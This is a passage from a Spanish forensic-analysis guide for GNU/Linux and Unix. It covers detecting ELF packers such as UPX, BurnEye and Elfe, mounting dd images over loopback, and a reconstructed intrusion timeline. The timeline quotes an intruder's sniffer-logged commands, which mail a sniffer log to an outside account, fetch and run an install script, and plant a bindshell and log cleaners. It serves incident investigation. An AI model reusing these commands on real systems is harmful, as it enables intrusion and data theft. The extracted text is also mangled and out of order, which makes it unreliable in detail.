principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 35: Análisis Forense de Sistemas GNU/Linux, Unix

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

